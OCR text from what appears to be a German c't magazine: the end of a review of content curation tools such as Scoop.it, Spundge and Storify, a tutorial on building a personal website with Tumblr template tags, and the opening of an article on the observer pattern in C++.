Zeitung aus Feeds und Social Media. 
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Spundge Knowl- 
edge Base 
Getting Started with Spundge 


Wenkoff. Spundge, Reinaldo Calcaric 


4 Contributors 


Als bemerkenswerter Zwitter aus Storify und Scoop.it buhlt das hierzulande 
kaum bekannte Spundge um die Nutzer beider Dienste. 
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Paper.li der Nebenaspekt, dass auch andere 
die eigene Zeitung lesen und abonnieren 
können. 

Die Mehrzahl der schlagwortbasierenden 
Werkzeuge wendet sich jedoch an Content- 
Vermarkter sowie an große Unternehmen, 
die Werkzeuge für die interne Kommunika- 
tion suchen. 

Eine recht simple Linkschleuder ist Grou- 
piest. Ähnlich wie paper.li erwartet Grou- 
piest Themen-Schlagwörter, bietet daraufhin 
aber keine Feeds an, sondern einzelne Beiträ- 
ge. Ein Klick auf den „Share*-Button, ein paar 
kommentierende Worte im Rich-Text-Editor 
- und das war es eigentlich auch schon. Ein 
Klick auf das Facebook-, Twitter- oder Buffer- 
Icon bewirbt den Beitrag in Social Media. Als 
zusätzliche Quellen lassen sich Newsfeeds 
und URLs hinterlegen. Groupiest stellt dafür 
auch ein Bookmarklet bereit. Zahlende Kun- 
den (ab 29 US-$ pro Monat) können die Bei- 
träge in ihr WordPress-Blog integrieren und 
Nutzungsstatistiken einsehen. 

Deutlich höhere Ansprüche erfüllt 
Scoop.it. Dank Gratis-Account und simpler 
Bedienung ist Scoop.it aber nicht auf Firmen- 
kunden beschränkt. Die nach Schlagwortein- 
gabe gefundenen Ressourcen kann man 
„scoopen”, taggen und mit einer persönli- 
chen Notiz („insight”) versehen; das funktio- 
niert auch mit händisch eingegebenen URLs, 
über diverse Apps oder beim Surfen per 
Bookmarklet. Diese Beiträge packt Scoop.it in 
Kästen und arrangiert sie zu einer Art Zei- 
tungslayout. Jeder Beitrag lässt sich über die 
üblichen Social-Media-Kanäle oder per Mail 
teilen; der kuratierten Sammlung können 
Scoop.it-Nutzer folgen. 

Der Dienst wirkt schick und ausgereift, 
doch macht der Gratis-Tarif wegen enger Be- 
schränkungen und häufiger Upgrade-Auffor- 
derungen wenig Spaß. Die kostenpflichtigen 
Tarife reichen von 130 bis 2000 US-Dollar 
jährlich. Sie heben die Beschränkungen bei 
der Anzahl der Nachrichten, Themen und Be- 
nutzer auf, erlauben Anpassung des Designs 
bis hin zur White-Label-Lösung, enthalten 
Analysefunktionen, integrieren sich in Word- 
Press und können Newsletter versenden. 
Entwickler können mit dem Scoop.it-REST- 
API Nachrichten abrufen, schreiben, bearbei- 
ten und löschen, was auch mit dem kosten- 
losen Account möglich ist. 

Einen interessanten Verschnitt aus Storify 
und Scoop.it haben die Macher von Spundge 
entwickelt. Sie trennen die Schritte des Sam- 
melns und Recherchieren von denen des Be- 
arbeitens und Veröffentlichens, indem sie 
zwischen „Notebooks“ und „Storys“ unter- 
scheiden. 

Notebooks sind Materialsammlungen, für 
deren Befüllung Spundge ähnlich wie 
Scoop.it nach Schlagworteingabe Suchtref- 
fer auflistet. Die Auswahl wirkte im Test ziem- 
lich YouTube-lastig, was sich aber durch Hin- 
zunahme zusätzlicher Quellen verbessern 
lässt. Eigene Fundstücke fügt man per Book- 
marklet oder gleich als RSS-Feed hinzu; dank 
OPML-Import kann Spundge sogar den 
Feedreader ersetzen. 
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Normalerweise sind Notebooks öffentlich. 
Sie lassen sich aber auch als Stoffsammlung 
für Storys nutzen, die man ähnlich wie in 
Storify schreibt, nur dass man die externen 
Inhalte aus dem Notebook herüberzieht. 
Dieses interessante Mischkonzept ergänzt 
Spundge durch Follow- und Teamwork-Fea- 
tures - und natürlich lassen sich Notebooks 
und Storys im Social Web bewerben und ein- 
betten. 

Die Anwendung wirkt schön gestaltet und 
mächtig, ist aber nicht ganz so intuitiv zu be- 
dienen wie etwa Storify. Großer Bonuspunkt: 
Die kostenlose Version dürfte für viele Be- 
dürfnisse ausreichen; Preise für Firmenkun- 
den verrät das kanadische Unternehmen nur 
auf Anfrage. Besucheranalysen, zusätzliche 
Nachrichtenquellen, bessere Editierfunktio- 
nen, Integration in eigenes Design und 
Werkzeuge, private Notebooks und Storys 
sowie API-Zugriff sind Argumente für Profis. 


Geschichten für Profis 


Viele der oben genannten Kuratierungswerk- 
zeuge taugen für den privaten Anwender, 
sollen aber in erster Linie zahlungskräftige 
Firmenkunden ansprechen: Content-Ver- 
markter, Online-Redakteure, Agenturen, PR- 
Leute und Wissensvermittler aller Art. Einige 
der schlagwortbasierenden Scoop.it-Konkur- 
renten geben sich gar nicht erst mit Gele- 
genheitsnutzern ab und setzen komplett auf 
professionelle Kundschaft. 

Roojoom etwa fängt bei 150 US-Dollar 
pro Monat erst an, Curata und Trapit verra- 
ten ihre Preise gar nicht erst. Curata bei- 
spielsweise verspricht dafür eine „Inspire"- 
Engine, die aus den vom Nutzer gewählten 
Artikeln für weitere Vorschläge lernt. Privat- 
anwendern ist dieses Prinzip aus Empfeh- 
lungs-Tools wie StumbleUpon bekannt. 

Auch Storify denkt an diese Nutzer und bie- 
tet eine „Enterprise”-Variante seines Dienstes 
an. Mit dieser können mehrere Team-Mitglie- 
der gleichzeitig ein Storify bearbeiten, die Ver- 
sionsgeschichte archivieren und bei Bedarf 
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Groupiest Site 


Keywords: 1 


> 


| # Allkeywords 


Groupiest mag eine simple Linkschleuder sein, doch lässt es 


sich aus dem Stand produktiv nutzen. 


zurückspringen. Das Design ist anpassbar und 
werbefrei, weshalb man nicht jedes Storify so- 
fort als solches erkennt; finden kann man sie 
beispielsweise auf den Websites von BBC, Al 
Jazeera, dem Fernsehsender HBO oder bei der 
letzten Wahlkampagne von US-Präsident 
Obama. Weitere Profi-Features sind Zugriffs- 
beschränkungen, Google-Analytics-Integra- 
tion und automatische Aktualisierung im 
Browser, etwa für Live-Ticker. 


Jäger und Sammler 


Der Kampf um Aufmerksamkeit, den Redak- 
teure und Vermarkter jeden Tag um das In- 
teresse ihres übersättigten Publikums austra- 
gen, hat Werkzeuge hervorgebracht, die pa- 
radoxerweise auf der Eingangsseite den In- 
formations-Dschungel lichten, während sie 
ihn durch blitzartiges Publizieren auf der an- 
deren Seite weiter verwildern. 


Mal schnell ein paar Fundstücke zu einem 
Thema zusammentragen - das ist vor allem 
die Idee hinter schlagwortbasierenden 
Werkzeugen & la Scoop.it. Doch lassen sich 
beispielsweise mit Spundge aufwendige Re- 
cherchen zusammentragen und mit Storify 
verschiedene Medien zu einer überzeugen- 
den Erzählung mischen. Kuratierungswerk- 
zeuge treten das Erbe von Social Bookmarks 
und Feedreadern an. Sie sind Zettelkasten, 
Newsletter und Blog zugleich und besetzen 
damit eine Schlüsselposition in der aktuellen 
Aufmerksamkeitsökonomie. (jo) 


Literatur 


[1] Snow Fall - The Avalanche at Tunnel Creek, 
www.nytimes.com/projects/2012/snow-fall 


CE Alle Dienste: ct.de/y883 


Kuratierungswerkzeuge 


Name AesopStoryEngine Groupiest paper.li Scoop.it Spundge 

URL http://aesopstory http://groupiest.com http://paper.li www.scoop.it https://www. 
engine.com spundge.com 

Beschreibung WordPress-Plug-in eigener Dienst eigener Dienst eigener Dienst eigener Dienst 

Schlagwortsuche - NG NG v NG 

Einbettung in eigene Seite ze" v! v! v 

Bookmarklet - v v v v 

Newsletter - - v! v! - 

genutzte Quellen 

Facebook/Twitter/Google+ -/-/- vw? vVW vNl- vyvW 

Instagram/Flickr -/- vN: -/- vN vn 

YouTube/Slideshare vl- vN?: vI- vN vw 

RSS/URLS -/- vN vi= vN vN 

Einstiegspreis kostenlos (Themes kostenlos (max. 7 Key- kostenlos (geringe kostenlos (1 Nutzer, kostenlos (umfang- 
kostenpflichtig) words, 15 RSS-Feeds) Konfigurationsmög- 1 Thema, 2 Social- reiche Ausstattung) 

lichkeiten) Accounts, 10 Posts 


pro Tag) 


Storify Storyform WordPress 
Media Explorer 
https://storify.com https://storyform.co http://en.support. 


wordpress.com/ 
media-explorer 


eigener Dienst eigener Dienst und WordPress- 
WordPress-Plug-in Bestandteil 
v3 - - 
NG NG NG 
NG => NG 
vVN vNN -MI- 
vN -/- vw 
vi vi- vN 
vN /- -/- 
kostenlos (umfang- kostenlos (beschränkt kostenlos 
reiche Ausstattung) auf 1 Website) 
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Daniel Berger 


Neubaugebiet 


Mit Tumblr eine Website betreiben 


Der Blogging-Dienst Tumblr ist nicht nur eine Sammelstelle für lustige GIFs. 
Auch eine persönliche Homepage oder eine kleine Firmenpräsenz lässt sich damit 
betreiben. Dank der Tumbir-App geht das Befüllen der Site auch von unterwegs. 


igentlich sind Tumbir-Blogs vor allem 

dazu da, Bilder, Videos und Texte zu sam- 
meln und sie anderen zu zeigen [1]. Aufgrund 
der Gestaltungsfreiheiten lässt sich aber auch 
eine gewöhnliche Website mit dem Dienst 
betreiben - Kenntnisse in HTML und CSS vo- 
rausgesetzt. Dann lassen sich persönliche 
Homepages genauso umsetzen wie Vereins- 
seiten oder kleine Firmenpräsenzen, die auf 
Wunsch über eine eigene Domain erreichbar 
sind. Zusätzlicher Webspace ist überflüssig. 

Wer seine Site bei Tumblr anlegt, zahlt 
dafür keinen Cent: Der Service finanziert sich 
über Werbung, die lediglich im Dashboard 
von Tumblr als gesponserte Einträge zu 
sehen ist - Ihre eigene Website bleibt von 
Reklame verschont. 

Zu Tumblrs Konzept gehört die starke Ver- 
netzung der Inhalte. Die Mitglieder dürfen 
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alle Einträge in ihre eigenen Tumbir-Blogs 
übernehmen und sich mit fremden Federn 
schmücken. Das sollten Sie im Hinterkopf 
haben, wenn Sie etwa private Fotos veröf- 
fentlichen. Die Quelle wird automatisch ver- 
linkt, zusätzlich kann man im Eintrag seine 
URL angeben. So bringen schöne Bilder oder 
interessante Artikel, die sich in Tumblr ver- 
breiten, neue Besucher, Kunden und Abon- 
nenten. Tumblr ist somit auch ein Marketing- 
Tool, mit dem Sie über die Plattform vor 
allem junge Nutzer erreichen können. 


Fertighäuser 


Als Beispielprojekt soll eine persönliche Web- 
site dienen, auf der Sie sich vorstellen. Die 
Site soll außerdem über einen Bereich für 
Fotos verfügen - über Tumbirs Dashboard 
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oder die Smartphone-App landen Schnapp- 
schüsse von der Skipiste oder vom letzten 
Ausflug mit der Krökelmannschaft direkt auf 
Ihrer Onlinepräsenz. Ein umständliches Hoch- 
laden via FTP ist überflüssig. 

Wer das volle Potenzial der Plattform aus- 
nutzen will, sollte keine Scheu vor Tumblrs ei- 
gener Auszeichnungssprache haben. Sie ist 
aber nicht sonderlich kompliziert. Für den 
schnellen Start und zur Inspiration existieren 
zudem zahlreiche fertige Templates, die Sie 
nach eigenen Wünschen um- und ausbauen 
können. Viele Vorlagen sind für Blogs ge- 
dacht und listen Einträge chronologisch un- 
tereinander auf. Es gibt aber auch Designs für 
Portfolios, Foto-Sites und persönliche Home- 
pages oder einfache Web-Visitenkarten [2]. 
Fündig werden Sie vor allem in Tumblrs eige- 
nem Theme-Verzeichnis unter www.tumblr. 
com/themes. Dort stehen kostenlose Vorla- 
gen bereit sowie „Premium-Templates”, die 
zwischen 20 und 50 US-Dollar kosten. Für das 
Geld bieten deren Macher oft Support an. Bei 
den Templates haben Sie volle Kontrolle über 
den HTML-Code, was den Einbau von zusätz- 
lichen Elementen wie Facebook-Plug-ins, 
Twitter-Widgets und Google Analytics er- 
laubt. Außerdem lässt sich in den Quelltexten 
hervorragend spicken. 


Blogs und Domains 


Ein Tumblr-Account enthält ein Hauptblog, 
das im Beispielprojekt als Einstiegsseite fun- 
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gieren soll. In weitere Nebenblogs lassen 
sich etwa ein Bereich für Fotos oder ein 
Onlinetagebuch auslagern - so behalten Sie 
den Überblick und trennen Inhalte vonein- 
ander. Zudem ist es bei Nebenblogs mög- 
lich, weitere TumbiIr-Mitglieder einzuladen, 
die Einträge beisteuern. Die Co-Autoren 
können Sie zu Admins befördern, damit 
diese andere User einladen sowie Einträge 
editieren und löschen dürfen. Einfachen Au- 
toren ist es lediglich erlaubt, eigene Einträge 
zu veröffentlichen und zu ändern. Sind Ad- 
minrechte einmal erteilt, lassen sie sich nicht 
mehr entziehen. 

Sie können mit einem Account so viele 
Tumblr-Blogs anlegen, wie Sie benötigen. 
Standardmäßig sind sie unter <wunschna- 
me>.tumblr.com zugänglich. Bei jedem der 
Blogs ist es aber auch möglich, eine eigene 
Domain aufzuschalten. Dazu muss Ihnen der 
Domain-Provider die Änderung des A-Re- 
cord ermöglichen: Tragen Sie dort die IP- 
Adresse von Tumblr ein, sie lautet 66.6.44.4. 
In unserem Beispiel ist das Hauptblog über 
example.com erreichbar und die Bereiche, 
die in Unterblogs ausgelagert sind, über Sub- 
domains - die Fotos dann beispielsweise 
über fotos.example.com. Die Domains akti- 
vieren Sie unter Tumblr „Account/Einstellun- 
gen”. Legen Sie dort bei „Username“ den 
Schalter „Eigene Domain verwenden” um 
und tragen die Adresse ein. 

Jedes Tumbir-Blog hat eigene Einstellun- 
gen und braucht ein eigenes Theme. Globa- 
le Änderungen sind daher nicht möglich - 
wenn Sie etwa die Navigation in Ihrem Haupt- 
blog umkrempeln, müssen Sie den Code in all 
Ihren Nebenblogs anpassen, damit das ein- 
heitliche Bild Ihrer Website bestehen bleibt. 
Für einen komplexen Webauftritt mit sehr 
vielen Rubriken und Unterebenen sollte man 
deshalb lieber ein vollwertiges Content-Ma- 
nagement-System verwenden. 


Einstellungssache 


Um aus einem Tumblr-Blog eine Website zu 
machen, nehmen Sie Änderungen über das 
Dashboard unter „Anpassen“ vor. Dort tragen 
Sie zuerst den Titel ein. Wenn Sie mögen, hin- 
terlegen Sie außerdem eine Beschreibung 
oder laden einen Avatar hoch - dieser lässt 
sich in der Design-Vorlage etwa auch als 
Logo verwenden. Auch die anderen Angaben 
finden später Verwendung in der Vorlage. 
Ein Tumbir-Blog lässt sich mit statischen 
Seiten erweitern; sie dienen beispielsweise 
als Impressum oder als Biografie. Über „Eine 
Seite hinzufügen“ legen Sie diese an und be- 
stimmen Titel und URL der Seite; ein Kontakt- 
formular wäre etwa über example.com/kon- 
takt erreichbar. Das Aussehen jeder stati- 
schen Seite können Sie mit einem eigenen 
Layout überschreiben. Ändern Sie dazu im 
Drop-Down-Menü die Angabe „Standard- 
Layout“ auf „Benutzerdefiniertes Layout” um 
und kopieren dann den HTML- und CSS-Code 
in das Textfeld. Die Option „Umleiten” erlaubt 
das Eintragen eines Links, zu dem die stati- 
sche Seite umleitet - das kann etwa ein exter- 
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ner Shop sein, der über example.com/shop 
erreichbar wäre. Hilfreich ist diese Möglich- 
keit auch, wenn Sie die URL-Struktur Ihrer Site 
ändern: Vorübergehend leiten die alten Links 
auf neue Seiten. 

Das Aussehen Ihrer Seite steuern Sie über 
ein Template, das aus einem HTML-Doku- 
ment besteht. Mit einem Klick auf „HTML be- 
arbeiten” öffnet sich ein Texteditor. Dank 
Syntaxhervorhebung können Sie direkt im 
Browser komfortabel coden. Eine Vorschau- 
funktion hilft beim Ausprobieren und Umge- 
stalten. 

Tumblr ermöglicht im HTML-Editor den 
Upload von Dateien, die das Template er- 
gänzen. Klicken Sie dazu auf das Zahnrad- 
Symbol und dann auf „Template-Objekte“. 
Zusatzinhalte wie Bilder, JavaScript- oder 
CSS-Dateien dürfen jeweils maximal 5 MByte 
groß sein; erlaubt sind 15 MByte pro Tag. 
Wenn Sie beispielsweise ein CSS-Framework 
wie Bootstrap [3] verwenden möchten, laden 
Sie dessen CSS-Datei einfach als Template- 
Objekt hoch. Direkt im Editor bearbeiten 
lässt sich die Datei allerdings nicht. 

Nach dem Upload setzt ein Klick auf „Ein- 
fügen” den Link in den Quelltext. Über „Er- 
setzen“ können Sie jederzeit eine neue Fas- 
sung des Template-Objekts hochladen; die 
URL wird im Code automatisch aktualisiert, 
wenn die neue Version einen anderen Datei- 
namen hat. Zip-Archive oder Exe-Dateien 
sollten Sie aber nicht hochladen, denn dann 
wird der Account sofort gesperrt. 


Von vorne 


Für die Design-Vorlagen bietet Tumblr eige- 
ne Tags, die den HTML-Code ergänzen. Diese 
füllt Tumblr beim Rendern der Website mit 
den geposteten Inhalten sowie mit den An- 
gaben, die Sie in den Template-Einstellun- 
gen eingetragen haben. Um den dort festge- 


tumblr. 


Themes 


Praxis | Website mit Tumblr 


legten Seitentitel in die Website einzubauen, 
geben Sie im Code die Tumblr-Variable {Title} 
an der Stelle ein, wo der Texte auftauchen 
soll. Sinnvoll ist das beispielsweise im <title>- 
Tag oder als Hauptüberschrift. 

Als Begrüßung auf der Startseite lässt sich 
der Text verwenden, den Sie in den Tumblr- 
Einstellungen bei den Erscheinungsbild-Op- 
tionen als „Beschreibung“ hinterlegt haben. 
Er darf auch HTML enthalten, sodass Sie bei- 
spielsweise Links einbauen können. Die Be- 
schreibung bauen Sie in den HTML-Code mit 
{Description} ein. Bettet man die Variable in 
einen Block ein, wird dieser nur gerendert, 
wenn die Beschreibung existiert. In diesem 
Block lassen sich auch weitere HTML-Ele- 
mente unterbringen: 


{block:Description} 
<h2>Willkommen!</h2> 
<p>f{Description}</p> 

{/block:Description} 


Um auch Ihren Avatar einzubauen, schreiben 
Sie die Variable {PortraitURL-128} in das HTML- 
Tag <img src="...">. Die 128 gibt die Pixelbreite 
der Grafik an - in diesem Fall ist das die Maxi- 
malgröße. Soll Ihr Logo oder das Porträtfoto 
größer sein, laden Sie das Bild als Template- 
Objekt über den HTML-Editor hoch. Aus dem 
Avatar erzeugt Tumblr auch das Favicon, wel- 
ches in den Tabs der Browser zu sehen ist. 
Das fügen Sie so in Ihren Code ein: 


<link rel="shortcut icon" href="fFavicon}"> 


Außer Logo und Willkommensgruß soll die 
Startseite eine Übersicht von Updates anzei- 
gen. Dieser Nachrichtenticker informiert 
über neue Inhalte und Änderungen auf der 
Website. Jeder Eintrag im Hauptblog ist eine 
frische Neuigkeit, die mit anderen Meldun- 
gen auf der Startseite chronologisch aufge- 
listet ist, inklusive Veröffentlichungsdatum. 
Ein Klick auf die Überschrift führt dann zu 


WEBSITEIN A BOX 


Für Tumblr- 
Blogs existieren 
viele fertige The- 
mes - darunter 
welche für 
Online-Port- 
folios und Web- 
Visitenkarten. 
Auch ein eige- 
nes Design ist 
mit HTML, CSS 
und den Tumblr- 
Tags umsetzbar. 


Effector Theme 


Patchwork 


Write Videographer 


Club Monaco Theme 
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3 Aspassen | Turms 
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«“ X HTML bearbeiten 


dem Eintrag. Das Aussehen der Übersichts- 
seite sowie der einzelnen Beitragsseiten 
steuert dasselbe Template über die beiden 
Blöcke IndexPage und PermalinkPage: 


{block:Posts} 
{block:Text} 
{block:IndexPage} 
{block-Title}<a 
href="{Permalink}">{Title}</a>{/block-Title} 
{block:Date}{TimeAgo}{/block:Date} 
{/block:IndexPage} 
{block:PermalinkPage} 
{block-Title}{Title}{/block-Title} 
{block:Date}{TimeAgo}{/block:Date} 
{body} 
{/block:PermalinkPage} 
{/block:Text} 
{/block:Posts} 


Die erste Zeile markiert den Block für die 
Posts - hier erscheinen Ihre Einträge. Dieser 
Abschnitt fungiert als Schleife, die Tumblr so 
lange durchläuft, bis alle Einträge gerendert 
sind. In der Übersichtsseite gibt Tumblr stan- 
dardmäßig zehn Posts pro Seite aus. Die 
nächsten zehn erreichen die Besucher über 
einen Link, den Sie mit {block:Pagination} irgend- 
wo hinter {/block:Posts} einbinden: 


{block:Pagination} 
{block:NextPage} 
<a href="{NextPage}">Nächste Seite</a> 
{/block:NextPage} 
{/block:Pagination} 


Innerhalb von {block:Posts} lässt sich für jeden 
Inhaltstyp ein eigenes Aussehen und ein ei- 
gener Aufbau festlegen. Für Texte kann 
man einen spezifischen Block anlegen, für 
Fotos, für Videos - insgesamt sieben Blöcke 
für sieben Inhaltstypen. Sie brauchen aber 
nur die Abschnitte auszuzeichnen, die Sie 
auch benutzten. 
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Daniels Website 


Daniels Website 


Hallo und willkommen. Ich heiße Daniel und schreibe, reise und fotografiere. Dies ist 


Mit Tumblrs inte- 
griertem HTML- 
Editor inklusive 
Syntaxhervor- 
hebung sind Än- 
derungen an der 
Website direkt im 
Browser möglich. 
Hilfreich ist die 
Vorschaufunktion. 


meine persönliche Website, auf der ich mich und meine Projekte vorstelle, Ich freue mich 


auf E-Mails - aber bitte kein Spam schicken. Abonniere doch meinen RSS-Feed oder lies 


mein Blog. Viel Spaß. 


Neuigkeiten 


In dem obigen Beispiel gilt die Auszeich- 
nung nur für Texteinträge; für Fotos würde 
man den Bereich mit fblock:Photo} markieren - 
dazu später mehr. Die Überschrift wird in 
{block-Title} mit {Title} eingefügt. Verwendet man 
dieses Tag außerhalb von f{block:Posts}, gibt 
Tumblr den Seitentitel aus. Das Veröffentli- 
chungsdatum bestimmen Sie in {block:Date}: 
Das Tag {TimeAgo} ersetzt Tumblr durch eine 
kontextbezogenen Zeitangabe, also etwa 
„vor 1 Woche“. Ein einfaches Datum fügen Sie 
mit {DayOfMonth}. {Month} {Year} ein. 


Daniels Website Home 


Das Aussehen der Texteinträge auf der 
Übersichtsseite steuert der Abschnitt {block: 
IndexPage}. Dessen Inhalt rendert Tumblr nur 
auf Übersichtsseiten. Wie die Beitragsseite 
den einzelnen Eintrag anzeigt, legen Sie im 
Bereich {block:PermalinkPage} fest. In diesem Bei- 
spiel ist bei letzterem zusätzlich mit {body} der 
Inhalt des einzelnen Posts eingebaut. In sei- 
ner Dokumentation hält Tumblr ein komplet- 
tes Grundgerüst als Code-Beispiel parat. Es 
enthält alle Auszeichnungen für die verschie- 
denen Inhaltstypen (siehe c't-Link am Ende 


Auch eine Foto-Website ist mit Tumblr einfach umgesetzt. Dank App 
lädt der Nutzer von unterwegs neue Bilder direkt hoch. 
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des Artikels). Über den c't-Link finden Sie 
zudem zwei einfache Vorlagen für eine 
Tumblr-Website. 

Damit die Besucher nicht nur die Start- 
seite Ihrer Website betrachten müssen, füh- 
ren die Links in der Navigation zu den Unter- 
bereichen der Site. Mit {RSS} platzieren Sie 
einen Verweis zum RSS-Feed der Seite. Mit 
den Tumbilr-Tags haben Sie zudem die Mög- 
lichkeit, automatisch alle statischen Seiten in 
die Navigation aufzunehmen: 


{block:HasPages} 
{block:Pages} 
<a href="{URL}">{Label}</a> 
{/block:Pages} 
{/block:HasPages} 


Den Inhalt dieses Blocks gibt Tumblr nur aus, 
wenn statische Seiten existieren („has 
Pages“) - ansonsten bleibt die Stelle leer. 
Vom Unterblog aus können Sie mit dieser 
Methode allerdings nicht auf die statischen 
Seiten des Hauptblogs verweisen. Da ist 
etwas Handarbeit gefragt, was auch für Links 
zum Foto-Bereich gilt, der in einem eigenen 
Unterblog sein Zuhause findet. 


Bilder, Fotos, Alben 


Für den Foto-Bereich legen Sie über das 
Dashboard ein neues Unterblog an. Tragen 
Sie in den Account-Optionen bei dem Neben- 
blog als URL dann etwa fotos.example.com 
ein; auch diese Subdomain muss via A-Re- 
cord auf Tumbir verweisen. Jeder Blogeintrag 
soll ein Foto enthalten, das verschlagwortet 
ist. Die Schlagwörter dienen als Fotoalben: 
Klickt ein Besucher auf „New York” und damit 
auf den Link /tagged/new-york/, sieht er alle 
Fotos mit diesem Schlagwort. Einzelne Fotos 
lassen sich mit den Schlagwörtern auch in 
mehrere „Alben“ einsortieren. Viele gute 
Schlagwörter bringen Ihnen außerdem neue 
Besucher über die Tumblr-Suche. 

Der Foto-Bereich der Website soll alle Bil- 
der als Thumbnails auflisten. Ein Klick auf das 
Bild öffnet eine Seite mit der Großversion des 
Bildes, ergänzt mit einer kleinen Entste- 
hungsgeschichte. Sie müssen Tumbir also 
anweisen, in der Übersichtsansicht eine klei- 
nere Version des Bildes anzuzeigen und auf 
der Einzelansicht eine größere samt Text. 
Dazu verwenden Sie wie auch bei der Start- 
seite IndexPage und PermalinkPage: 


{block:Posts} 
{block:Photo} 
{block:IndexPage} 
<img src="{PhotoURL-250}"> 
{/block:IndexPage} 
{block:PermalinkPage} 
<img src="{PhotoURL-500}"> 
{block:Caption} 
<p>{fCaption}</p> 
{/block:Caption} 
{/block:PermalinkPage} 
{/block:Photo} 
{/block:Posts} 


Die Angabe PhotoURL spuckt die Adresse des 
Bildes aus, die Zahl dahinter gibt die Breite 
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Avatar 


Linkfarbe © 


+ Eine Seite hinzufügen 


Erweiterte Optionen 


Nene Wehsite end 


oeo.s.ssauo 


Mit benutzerdefinierten Tags 
lassen Sich etwa Linkfarben 
oder Schriftarten in den 
Tumblr-Einstellungen ändern 
- das spart den Ausflug in 
den HTML-Code. 


an - welche Größen zur Verfügung stehen, 
steht in der Dokumentation von Tumblr. Die 
Variable {PhotoURL-HighRes} gibt das Bild in voller 
Auflösung aus. Tumblr beschränkt dessen 
Breite auf 1280 Pixel - mit der Ausnahme 
von „Panoramabildern“. Ein solches Bild 
muss viel breiter als hoch sein. Tumblr gibt 
als ideales Bildverhältnis 3:1 an. Wenn Sie ein 
Bild über das Dashboard von Tumblr einstel- 
len, lässt sich als Bildunterschrift auch eine 
Geschichte zu dem Bild erzählen, die man 
mit {Caption} einfügt. 

Wie Sie Ihre Fotos organisieren, bleibt 
Ihnen überlassen: In einem Eintrag lassen 
sich auch zwei bis zehn Fotos unterbringen. 
Nötig für eine solche Bilderserie ist dann 
nach {block:Photo} der zusätzliche Abschnitt 
{block:Photoset} und darin {Photoset-700}. Die Zahl 
legt die maximale Breite der Bilderserie fest. 
Tumblr ordnet die Fotos automatisch so an, 
dass sie den verfügbaren Platz sinnvoll aus- 
füllen. Die Reihenfolge der Fotos steuern Sie 
über das Dashboard. 

Gefällt einem Besucher ein Bild, kann er 
den Fotografen loben. Dazu klickt er auf ein 
Herz. Dieses kleine Symbol bauen Sie mit 
dem Tag {LikeButton} in Einträge ein. Es funktio- 
niert ähnlich wie der „Gefällt mir“-Button von 
Facebook. Um Nutzer zu ermutigen, Inhalte 
in ihr eigenes Tumbir-Blog zu übernehmen, 
integrieren Sie mit {ReblogButton} eine gleichna- 
mige Schaltfläche. Mehr Feedback verspricht 
der Einbau einer Kommentarfunktion über 
externe Dienste wie Disqus. Tumbir selbst 
bietet lediglich die Möglichkeit, dass Nutzer 
den Bloggern über ein simples Formular Fra- 
gen stellen können. 


Total variabel 


Damit man nicht jedes Mal im Quelltext he- 
rumsuchen muss, nur um eine Farbe zu än- 
dern, gibt es die „Template-Optionen”: Infor- 
mationen wie Farbwerte werden in Variablen 
gespeichert, die man in den Code an allen 
gewünschten Stellen einbaut. Eine Ände- 
rung ist somit nur noch an einer Stelle nötig 
und kann direkt über das Dashboard von 
Tumblr vorgenommen werden. 

Eine Template-Variable legen Sie im <head>- 
Bereich mit Meta-Tags an. Wenn Sie öfter die 
Farbe der Links ändern, erzeugen Sie etwa 
die Variable „Linkfarbe“ und ordnen ihr einen 
Standardwert zu, beispielsweise Rot: 


<meta name="color:Linkfarbe" content="#ff0000"> 


Den Namen der Variablen können Sie frei be- 
stimmen. Anschließend lässt sich die benut- 
zerdefinierte Farbe im CSS verwenden: 
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a { color: {color:Linkfarbe}; } 


Damit Tumblr die Werte einsetzen kann, 
muss der CSS-Code im <head>-Bereich der 
Vorlage untergebracht sein; mit externen 
CSS-Dateien funktioniert das nicht. Schauen 
Sie über das Tumbir-Dashboard in die Ein- 
stellungen des Blogs, dann sehen Sie unter 
„Template-Optionen“ nun den Variablen- 
namen („Linkfarbe“) und einen Kreis mit der 
festgelegten Farbe. Ein Klick darauf öffnet 
einen praktischen Farbwähler. Die Änderun- 
gen an Ihrem Design sehen Sie sofort in der 
Vorschau. 

Außer Farben lassen sich auch benutzer- 
definierte Schriftarten festlegen: 


<meta name="font:Vorlauftext" content="Arial"> 
und im CSS etwa mit 
p { font-family: {font:Vorlauftext}; } 


Ebenfalls als Variable lässt sich Text verwen- 
den. Dies können Sie etwa für die Navigation 
ausnutzen. Um etwa den Link zur Startseite 
flexibel zu gestalten, schreiben Sie: 


<meta name="text:Homelink" content="Home"> 


Im HTML-Code setzen Sie die Variable dann 
im Navigationsbereich folgendermaßen ein: 


<nav><a href="/">{text:Homelink}</a></nav> 


Soll „Home“ irgendwann lieber „Startseite” 
heißen, brauchen Sie den Namen nur in den 
Blog-Einstellungen zu ändern. 

In der Dokumentation von Tumblr finden 
Sie weitere Beispiele und Einsatzmöglichkei- 
ten der benutzerdefinierten Tags. Mit ihnen 
ergeben sich im Zusammenspiel mit HTML, 
CSS und JavaScript zahlreiche Möglichkeiten, 
Ihre Website zu gestalten und aufzubohren. 
Was bisher noch nicht geht, kann künftig 
möglich sein: Tumblr selbst bezeichnet sich 
als „ever-evolving platform” - also als ein 
Dienst, der eigentlich nie fertig ist und sich 
immer weiterentwickelt. Über neue Kniffe in- 
formieren die Macher im offiziellen Tumblr- 
Blog unter staff.tumblr.com. (dbe) 


Literatur 


[1] Daniel Berger, Viel Vergnügen, Wie Tumblr das 
Internet aufmischt, c’t 13/14, S. 146 

[2] Daniel Berger, Ihre beste Seite, Eleganter Einsei- 
ter als persönliche Homepage, c't 18/13, 5. 174 
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Websites mit Bootstrap und Less, c't 3/15, S. 162 


EE Beispielcode und Tumblr- 
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Oliver Lau 


Signalgast 


Eine simple Methode zur Kommunikation 


zwischen C++-Objekten 


In der objektorientierten Programmierung gehört der 
Observer (Beobachter) zu den Standardentwurfsmustern. 
Damit lassen sich Aktionen in einem Objekt auslösen, 
sobald in einem anderen etwas geschieht. Weil sich 

die Objekte dafür untereinander nicht kennen müssen, 
bleibt der C++-Code hübsch übersichtlich. 


reignisorientierte Program- 

mierung ist in grafischen Be- 
dienoberflächen gang und gäbe: 
Klickt der Anwender auf einen 
Knopf, löst das irgendwo im Code 
irgendetwas aus. Auch und vor 
allem in Spielen kommunizieren 
Objekte miteinander. Man denke 
nur an den Fall, dass ein Gegner 
zerstört wird: Dann muss zum 
Beispiel an dessen Position eine 
Explosion erscheinen, der Punk- 
testand aktualisiert und der Geg- 
ner aus der Liste feindlicher Ob- 
jekte gestrichen werden. Würde 
